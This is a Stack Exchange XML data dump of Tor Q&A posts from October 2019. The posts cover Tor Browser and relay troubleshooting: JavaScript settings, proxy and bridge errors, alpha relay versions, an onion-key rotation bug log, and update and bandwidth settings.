  <row Id="20474" PostTypeId="2" ParentId="20468" CreationDate="2019-10-21T20:34:33.150" Score="0" Body="&lt;p&gt;When you say &quot;but I get a black screen&quot;, do you mean that you get the page that says &quot;This application requires Javascript. Please turn on Javascript in your browser's preferences/settings and try again.&quot;?&#xA;If so, you would need to enable JavaScript (which may decrease your privacy/security).&#xA;If you are OK with the risk and want to disable JavaScript on that page, you would click the NoScript button, and then on the line the says &quot;amazon.com&quot; on the right, you would click click the &quot;S&quot; on the left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a video about how to use NoScript: &lt;a href=&quot;https://www.youtube.com/watch?v=UhJTwCFFzrE&amp;amp;t=174&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=UhJTwCFFzrE&amp;amp;t=174&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27488" LastActivityDate="2019-10-21T20:34:33.150" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20475" PostTypeId="2" ParentId="20468" CreationDate="2019-10-22T04:25:56.517" Score="1" Body="&lt;p&gt;It appears to be a url redirection issue. &#xA;When I open the &lt;a href=&quot;https://read.amazon.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://read.amazon.com&lt;/a&gt;  link on Firefox, it redirects to &lt;a href=&quot;https://www.amazon.com/ap/signin?openid.assoc_handle=amzn_kweb&amp;amp;openid.return_to=https%3A%2F%2Fread.amazon.com%2F&amp;amp;openid.mode=checkid_setup&amp;amp;openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&amp;amp;openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;amp;openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;amp;pageId=amzn_kcr&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.amazon.com/ap/signin?openid.assoc_handle=amzn_kweb&amp;amp;openid.return_to=https%3A%2F%2Fread.amazon.com%2F&amp;amp;openid.mode=checkid_setup&amp;amp;openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&amp;amp;openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;amp;openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;amp;pageId=amzn_kcr&lt;/a&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The black screen in Tor Browser is as a result of this redirect not happening. I suggest you copy the &lt;a href=&quot;https://www.amazon.com/ap/signin?openid.assoc_handle=amzn_kweb&amp;amp;openid.return_to=https%3A%2F%2Fread.amazon.com%2F&amp;amp;openid.mode=checkid_setup&amp;amp;openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&amp;amp;openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;amp;openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;amp;pageId=amzn_kcr&quot; rel=&quot;nofollow noreferrer&quot;&gt;redirected url&lt;/a&gt; and paste it into Tor. It will render seamlessly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot of the pages side-by-side; on Firefox and on Tor Browser respectively. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/zitnM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zitnM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27900" LastActivityDate="2019-10-22T04:25:56.517" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20477" PostTypeId="1" CreationDate="2019-10-22T08:21:39.453" Score="0" ViewCount="69" Body="&lt;p&gt;I'm running Tor in Windows. Getting error &quot;Unable to find Proxy for private or normal mode&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/65mFA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/65mFA.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Lzch8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lzch8.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd to know if I can hide my identity from world to do my social causes near me.&lt;/p&gt;&#xA;" OwnerUserId="27981" LastEditorUserId="27799" LastEditDate="2019-10-22T14:15:28.237" LastActivityDate="2022-03-23T07:04:55.427" Title="I't to know if i can hide my identity from world to do my social causes near me" Tags="|tor-browser-bundle|proxy|browsers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20479" PostTypeId="2" ParentId="100" CreationDate="2019-10-22T15:22:02.357" Score="1" Body="&lt;p&gt;if you want to use tor for certain applications you can also use proxychains and tor[commandline] together&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;install tor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sudo apt-get install tor proxychains -y&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use proxychains&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;proxychains curl -s &lt;a href=&quot;https://ifconfig.me&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ifconfig.me&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[for checking public ip address of sender]&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;u can proxify any networking command line application by preceeding proxyhains before it&#xA;by default configuration is set to proxify all connection through 127.0.0.1:9050&#xA;dns will also be resolved through network nodes, so there will be no dns leak&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NOTE: This will only proxify ur connection of single program not the&#xA;  whole connection outbound to your computer&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="27984" LastEditorUserId="27984" LastEditDate="2019-10-22T15:28:41.177" LastActivityDate="2019-10-22T15:28:41.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20482" PostTypeId="1" CreationDate="2019-10-23T19:21:28.997" Score="0" ViewCount="857" Body="&lt;p&gt;Qwant claims like DuckDuckgo to be a privacy focused search engine with european servers and their own indexing. So what is the reason Tor doesn't show it as a search engine? &#xA;Thank you for your help!&lt;/p&gt;&#xA;" OwnerUserId="27991" LastEditorUserId="27991" LastEditDate="2019-10-24T21:59:52.073" LastActivityDate="2021-03-12T19:04:45.407" Title="What is the reason that Tor doesn't have Qwant as a search engine?" Tags="|configuration|help|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20484" PostTypeId="1" CreationDate="2019-10-24T15:11:42.267" Score="0" ViewCount="120" Body="&lt;p&gt;There used to be an option: Advanced &gt; Network &gt; Settings&#xA;that's gone, so can't even select No Proxy&#xA;Also, config:about network.proxy.socks_remote_dns : settings this to false doesn't work either&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can we reinstall the good old version ?&lt;/p&gt;&#xA;" OwnerUserId="27994" LastActivityDate="2022-03-13T00:08:25.810" Title="update 9.0 on Mac not working - The proxy server is refusing connections" Tags="|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20485" PostTypeId="2" ParentId="20484" CreationDate="2019-10-24T16:12:55.627" Score="0" Body="&lt;p&gt;The option you speak of (Advanced &gt; Network &gt; Settings) has been moved. You can now find it by going to preferences &gt; Tor. The Advanced proxy settings are found at the bottom of the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If removing the proxy doesn't fix the error, try one of this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Do you have an antivirus? It may be interfering with the Tor service.&#xA;Try disabling the antivirus, if any.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Did you by any chance move the Tor folder from its original location to a different location? If you did, revert this change.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the port. Ideally, you should be on port 9050.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Reinstall the program. But this time, make sure to install Tor Browser Bundle in a new directory, not over a previously installed bundle.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27900" LastActivityDate="2019-10-24T16:12:55.627" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20486" PostTypeId="1" CreationDate="2019-10-24T19:40:51.203" Score="0" ViewCount="3019" Body="&lt;p&gt;Ive not used tor a great deal but never had any problems searching and finding .onion sites. now when i search any .onion even duckduckgo i get the firefox error page unable to connect etc etc internet connection has not changed and neither have my security software. already uninstalled and reinstalled tor browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please thanks&lt;/p&gt;&#xA;" OwnerUserId="27996" LastActivityDate="2024-03-08T19:03:20.363" Title=".onion links not working at all" Tags="|error|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20488" PostTypeId="1" CreationDate="2019-10-24T20:19:22.900" Score="0" ViewCount="39" Body="&lt;p&gt;I am running a relay with the tor-0.4.3.0-alpha-dev distribution, which I installed as a noob mistake. Is it okay to continue with this version? If not, then do I just do a standard apt-get uninstall and install a more stable version? If so, which? I have already changed /etc/apt/sources.list to use ...torproject.org bionic main.&lt;/p&gt;&#xA;" OwnerUserId="27997" LastActivityDate="2019-10-24T22:03:07.407" Title="Okay to run relay with an -alpha-dev distribution?" Tags="|relays|packages|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20489" PostTypeId="2" ParentId="20488" CreationDate="2019-10-24T20:54:46.737" Score="0" Body="&lt;p&gt;I'd stick with an official release version of Tor, just because it'll get more attention and updates if there's anything amiss.  &lt;code&gt;apt-get remove tor; apt-get install tor&lt;/code&gt; should do the trick to get you onto a release version, and should maintain your existing configuration.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-24T20:54:46.737" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20490" PostTypeId="2" ParentId="20488" CreationDate="2019-10-24T22:03:07.407" Score="1" Body="&lt;p&gt;Yes, it's absolutely fine to run a alpha version of Tor as a relay &lt;em&gt;if&lt;/em&gt; and &lt;em&gt;only if&lt;/em&gt; you're a relatively advanced user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, alpha's &lt;em&gt;need&lt;/em&gt; testing. However, be prepared for bugs and please only do this if you're also going to report the ones you encounter too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly the Tor network also gains resilience from different Tor versions running on different OS and hardware platforms. It helps diffuse the possibility that any one bug affects the entire network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see in the Tor consensus document, that some alpha versions are defined as recommended versions for servers (I.E. they are considered suitable for use as relays).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server-versions 0.2.9.15, 0.2.9.16, 0.2.9.17, 0.3.5.8, 0.4.0.5, 0.4.0.6, 0.4.1.2-alpha, 0.4.1.3-alpha, 0.4.1.4-rc, 0.4.1.5, 0.4.1.6, 0.4.1.7, 0.4.2.1-alpha, 0.4.2.2-alpha, 0.4.2.3-alpha&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can easily check the current list at: consensus-health.torproject.org&lt;/p&gt;&#xA;" OwnerUserId="28000" LastActivityDate="2019-10-24T22:03:07.407" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20496" PostTypeId="1" CreationDate="2019-10-25T11:54:33.763" Score="1" ViewCount="874" Body="&lt;p&gt;As I understand it - Tor browser has the ability to retrieve a few random SOCKS5 proxy tor bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to integrate this functionality into one of my programs so that people can automatically access the Tor network using a random volunteer bridge without having to run Tor themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the API that the tor browser uses?&lt;/p&gt;&#xA;" OwnerUserId="28010" LastActivityDate="2021-12-21T04:06:35.620" Title="How to get SOCKS5 tor bridge relay proxy programatically?" Tags="|bridge|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20498" PostTypeId="1" AcceptedAnswerId="21832" CreationDate="2019-10-25T16:45:01.580" Score="0" ViewCount="161" Body="&lt;p&gt;For a long time I am running a TOR relay on my home fiber Internet connection without any issues, however the last month or so every hour the following error message is shown to the log.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Oct 27 12:25:45 debian Tor[3734]: Bootstrapped 100% (done): Done&#xA;Oct 27 12:26:47 debian Tor[3734]: Performing bandwidth self-test...done.&#xA;Oct 27 13:25:44 debian Tor[3734]: Couldn't rotate onion key.&#xA;Oct 27 13:25:44 debian Tor[3734]: tor_bug_occurred_(): Bug: ../src/feature/relay/router.c:2367: router_rebuild_descriptor: Non-fatal assertion !(desc_gen_reason == NULL) failed. (Future instances of this warning will be silenced.) (on Tor 0.4.1.6 )&#xA;Oct 27 13:25:44 debian Tor[3734]: Bug: Non-fatal assertion !(desc_gen_reason == NULL) failed in router_rebuild_descriptor at ../src/feature/relay/router.c:2367. Stack trace: (on Tor 0.4.1.6 )&#xA;Oct 27 13:25:44 debian Tor[3734]: Bug:     /usr/bin/tor(log_backtrace_impl+0x46) [0x559c533332e6] (on Tor 0.4.1.6 )&#xA;Oct 27 13:25:44 debian Tor[3734]: Bug:     /usr/bin/tor(tor_bug_occurred_+0x16c) [0x559c5332e5bc] (on Tor 0.4.1.6 )&#xA;Oct 27 13:25:44 debian Tor[3734]: Bug:     /usr/bin/tor(router_rebuild_descriptor+0x158) [0x559c5326c218] (on Tor 0.4.1.6 )&#xA;Oct 27 13:25:44 debian Tor[3734]: Bug:     /usr/bin/tor(+0x145d73) [0x559c53266d73] (on Tor 0.4.1.6 )&#xA;Oct 27 13:25:44 debian Tor[3734]: Bug:     /usr/bin/tor(+0x73347) [0x559c53194347] (on Tor 0.4.1.6 )&#xA;Oct 27 13:25:44 debian Tor[3734]: Bug:     /lib/x86_64-linux-gnu/libevent-2.1.so.6(+0x22c05) [0x7f8ffc581c05] (on Tor 0.4.1.6 )&#xA;Oct 27 13:25:44 debian Tor[3734]: Bug:     /lib/x86_64-linux-gnu/libevent-2.1.so.6(event_base_loop+0x5a7) [0x7f8ffc582537] (on Tor 0.4.1.6 )&#xA;Oct 27 13:25:44 debian Tor[3734]: Bug:     /usr/bin/tor(do_main_loop+0xff) [0x559c5319351f] (on Tor 0.4.1.6 )&#xA;Oct 27 13:25:44 debian Tor[3734]: Bug:     /usr/bin/tor(tor_run_main+0x10e5) [0x559c53180ea5] (on Tor 0.4.1.6 )&#xA;Oct 27 13:25:44 debian Tor[3734]: Bug:     /usr/bin/tor(tor_main+0x3a) [0x559c5317e38a] (on Tor 0.4.1.6 )&#xA;Oct 27 13:25:44 debian Tor[3734]: Bug:     /usr/bin/tor(main+0x19) [0x559c5317df49] (on Tor 0.4.1.6 )&#xA;Oct 27 13:25:44 debian Tor[3734]: Bug:     /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xeb) [0x7f8ffbe6309b] (on Tor 0.4.1.6 )&#xA;Oct 27 13:25:44 debian Tor[3734]: Bug:     /usr/bin/tor(_start+0x2a) [0x559c5317df9a] (on Tor 0.4.1.6 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already restarted the service and rebooted the machine, but of no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions how to maybe manually rotate the onion key?&lt;/p&gt;&#xA;" OwnerUserId="27331" LastEditorUserId="27331" LastEditDate="2019-10-27T13:27:20.940" LastActivityDate="2020-12-27T13:01:42.740" Title="Error: Couldn't rotate onion key" Tags="|configuration|log|private-key|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20499" PostTypeId="1" CreationDate="2019-10-26T07:44:24.087" Score="1" ViewCount="106" Body="&lt;p&gt;I want to speak about Tor Browser for android.&#xA;On official website &lt;a href=&quot;https://www.torproject.org/download/#android&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/#android&lt;/a&gt; last version is Tor 9.0&#xA;On Google Play last version is 68&#xA;On F-Droid with Guardian Project's repos last version is 60.&#xA;Why they don't update their repos ?&lt;/p&gt;&#xA;" OwnerUserId="28022" LastActivityDate="2019-10-26T07:44:24.087" Title="Why Tor Project and Guardian Project don't update Fdroid and Google play repos?" Tags="|android|torproject.org|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20500" PostTypeId="1" CreationDate="2019-10-26T18:05:17.027" Score="0" ViewCount="58" Body="&lt;p&gt;I'm trying to add bridges to Tor but it has now been two hours and I'm still getting the &quot;loading relay information&quot; message;  is this normal? ; I'm currently running 143 Mbps&lt;/p&gt;&#xA;" OwnerUserId="28026" LastActivityDate="2019-10-27T01:15:38.500" Title="trouble adding bridges" Tags="|bridge|mac|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20502" PostTypeId="1" CreationDate="2019-10-26T22:29:46.093" Score="0" ViewCount="958" Body="&lt;p&gt;i downloaded tor today and installed it. but I cannot run it due to an error. I am for some reason missing the api-ms-win-crt-convert-|1-1-0.dll file. what am I to do?&lt;/p&gt;&#xA;" OwnerUserId="28028" LastActivityDate="2021-12-25T21:06:45.690" Title="I am missing a .dll file" Tags="|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20503" PostTypeId="1" CreationDate="2019-10-27T00:04:44.447" Score="0" ViewCount="603" Body="&lt;p&gt;I want to use connection vpn1 - tor - vpn2, where vpn1 and vpn2 I will buy with openvpn connection more likely, entry node of tor &#xA;will be on my raspberry pi (in my home) with disabled logs, I'm going use this chain to connect to the vps server, I'm not going to&#xA;to do anything illegal. For this chain, I will use whonix on virtualbox, Linux on the host, Linux on the entry node and Linux on vps.&#xA;To connect to vps, I want to use most likely remmina or another client and rdp or vnc connection. How can deanonymize me most power people?&#xA;If they will do this. I research anonymity of internet, and for this I am asking this question. I need it&#xA;for these purposes. Vps will probably be interrupted, after each connection I want delete logs for connecting to it.&lt;/p&gt;&#xA;" OwnerUserId="28029" LastActivityDate="2022-03-23T21:05:05.483" Title="How can deanonymize me? vpn tor vpn" Tags="|deanonymization|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20504" PostTypeId="2" ParentId="20500" CreationDate="2019-10-27T01:15:38.500" Score="1" Body="&lt;p&gt;First of all, make sure your time and timezone are accurate. Tor may face issues if the time is off. Then restart the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the above doesn't work, it may be that the bridge is being blocked. You may want to try &lt;a href=&quot;https://tb-manual.torproject.org/circumvention/&quot; rel=&quot;nofollow noreferrer&quot;&gt;pluggable transports&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="27900" LastActivityDate="2019-10-27T01:15:38.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20506" PostTypeId="1" CreationDate="2019-10-27T03:48:50.263" Score="0" ViewCount="198" Body="&lt;p&gt;How do I create active enterprise policies for Tor Browser 9.0 on Windows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help, thank you!&lt;/p&gt;&#xA;" OwnerUserId="28030" LastEditorUserId="23661" LastEditDate="2020-01-14T06:39:17.800" LastActivityDate="2022-03-04T19:01:25.103" Title="How to active enterprise policies in Tor Browser 9.0?" Tags="|tor-browser-bundle|configuration|windows|firefox|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20509" PostTypeId="1" CreationDate="2019-10-27T19:43:50.373" Score="1" ViewCount="84" Body="&lt;p&gt;I upgraded to the lastest version of Tor browser 9.0, and my antivirus software &lt;a href=&quot;https://en.wikipedia.org/wiki/360_Safeguard&quot; rel=&quot;nofollow noreferrer&quot;&gt;360 Safeguard&lt;/a&gt; reported the file nssdbm3.dll being infected by trojan win32/Trojan.7be &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anybody tell me if this is a false positive or is it really a threat?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far my Tor browser works well. It seems that there is no need to run nssdbm3.dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could any experts explain to me why this can happen to Tor browser? Thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="23682" LastActivityDate="2019-10-27T19:43:50.373" Title="File Quarantined by Anti-Virus Software from the Latest Upgrade of Tor Browser" Tags="|security|firefox|tor-install|update|firewall|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20511" PostTypeId="1" CreationDate="2019-10-28T17:11:08.753" Score="0" ViewCount="107" Body="&lt;p&gt;how do I re enable blocking Javascript  ( my security is already set too safest ) &lt;/p&gt;&#xA;" OwnerUserId="28043" LastActivityDate="2019-10-30T07:11:11.403" Title="Javascript , some sites say it is enabled. my &quot;shield&quot; is set to safest,, something is amiss but have no idea how to correct" Tags="|javascript|" AnswerCount="1" CommentCount="2" ClosedDate="2021-05-31T20:27:22.400" ContentLicense="CC BY-SA 4.0" />
  <row Id="20512" PostTypeId="2" ParentId="20511" CreationDate="2019-10-28T17:24:22.290" Score="2" Body="&lt;p&gt;Strange to see this problem, because the &quot;safest&quot; security level is supposed to block Javascript with the help of NoScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you can do an additional JS block by visiting about:config (enter this in the URL bar or copy&amp;amp;paste &lt;code&gt;about:config?filter=javascript.enabled&lt;/code&gt;). Accept the warning and proceed with caution. Then, start searching for 'javascript' and set &lt;code&gt;javascript.enabled&lt;/code&gt; to false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot of what it looks like (The blue line is that what we're changing):&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/lIVF5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lIVF5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27900" LastEditorUserId="5234" LastEditDate="2019-10-30T07:11:11.403" LastActivityDate="2019-10-30T07:11:11.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20513" PostTypeId="1" CreationDate="2019-10-29T04:02:54.077" Score="0" ViewCount="42" Body="&lt;p&gt;okay so I’m new to using tor and so far I love it! Was just curious what all of this was stored for? This picture looks harmless but once I scrolled down I noticed it’s basically every footprint I’ve left online.. there was more porn sites than I’m proud of ‍♀️ just curious about the process of all of this. Thanks for any response!&lt;img src=&quot;https://i.stack.imgur.com/SKypN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sJf0z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28047" LastEditorUserId="31632" LastEditDate="2021-05-25T20:40:32.253" LastActivityDate="2021-05-25T20:40:32.253" Title="Usage for “rule set ” on mobile browser add-on" Tags="|mobile|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20514" PostTypeId="2" ParentId="20513" CreationDate="2019-10-29T07:04:07.637" Score="1" Body="&lt;p&gt;The list shown in your screenshot is not a list of every site you've visited.  Instead, it's a list of patterns that match URLs known to be used for serving ads and tracking you online.  Any URL which matches one of the listed patterns will be blocked from loading, which, as the caption at the top of the list says, increases your security and privacy, and reduces data usage.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-29T07:04:07.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20516" PostTypeId="1" CreationDate="2019-10-30T05:43:44.483" Score="1" ViewCount="3054" Body="&lt;p&gt;How to disable Windows Tor Browser 9.0 update check?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have traversed Stack Exchange and found no valid methods. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Includes the following invalid articles: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://superuser.com/questions/1325421/how-do-i-stop-firefox-from-notifying-me-about-updates/1431920#1431920&quot;&gt;https://superuser.com/questions/1325421/how-do-i-stop-firefox-from-notifying-me-about-updates/1431920#1431920&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help, thank you!&lt;/p&gt;&#xA;" OwnerUserId="28054" LastActivityDate="2020-09-17T03:22:36.307" Title="How to disable Windows Tor Browser 9.0 update check?" Tags="|tor-browser-bundle|configuration|windows|firefox|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20518" PostTypeId="1" AcceptedAnswerId="20647" CreationDate="2019-10-30T17:47:14.357" Score="3" ViewCount="1453" Body="&lt;p&gt;Is there any way to limit the bandwidth used by Tor as a client? I use Tor as a client and I want to limit the bandwidth used by Tor without any additional application.&#xA;Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="20815" LastEditorUserId="27799" LastEditDate="2019-10-31T20:36:50.423" LastActivityDate="2019-11-28T15:14:07.487" Title="Tor Client limit bandwidth" Tags="|configuration|bandwidth|client|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20519" PostTypeId="2" ParentId="20516" CreationDate="2019-10-30T18:18:59.730" Score="0" Body="&lt;p&gt;The easy answer is that you don't.  The &lt;a href=&quot;https://tb-manual.torproject.org/updating/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Manual&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Browser must be kept updated at all times. If you continue to use&#xA;  an outdated version of the software, you may be vulnerable to serious&#xA;  security flaws that compromise your privacy and anonymity.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Tor Browser will prompt you to update the software once a new version&#xA;  has been released: the Torbutton icon will display a yellow triangle,&#xA;  and you may see a written update indicator when Tor Browser opens. You&#xA;  can update either automatically or manually.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So the functionality to stop checking for updates is not in Tor Browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, if you go to &quot;about:config&quot; and search for &quot;update&quot;, there are a lot of things you can change and maybe you can find your own hack to do this, though I doubt it because of Tor Browser's focus on anonymity and privacy.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-30T18:18:59.730" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20520" PostTypeId="1" CreationDate="2019-10-31T00:30:03.223" Score="0" ViewCount="2452" Body="&lt;p&gt;My Tor was working perfectly a couple days ago, but now all of the sudden, I can't access any websites. Whenever I try to go to any .onion site, it gives me a '502 Bad Gateway' error. I've tried resetting my computer, my router, reinstalling Tor- nothing has been working. I'm not sure what the problem is.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mqIci.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mqIci.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28058" LastActivityDate="2019-10-31T00:30:03.223" Title="Why am I constantly getting a 502 Bad Gateway error?" Tags="|error|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20521" PostTypeId="1" CreationDate="2019-10-31T05:38:02.120" Score="2" ViewCount="62" Body="&lt;p&gt;I know about: &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses HTML which can change at any moment, and is intended for humans.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for some URL (or other method) which wastes as little resources as possible to tell me whether the connection is going over Tor or not, for the purpose of auto-verifying that &quot;Tor is still running/working&quot;. Something which just returns a minimal JSON blob or even just a &quot;0&quot; or &quot;1&quot; would be ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there such a thing?&lt;/p&gt;&#xA;" OwnerUserId="28060" LastActivityDate="2019-11-25T14:49:42.990" Title="How do I script-check whether Tor is used in the most efficient and stable manner possible?" Tags="|torcheck|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
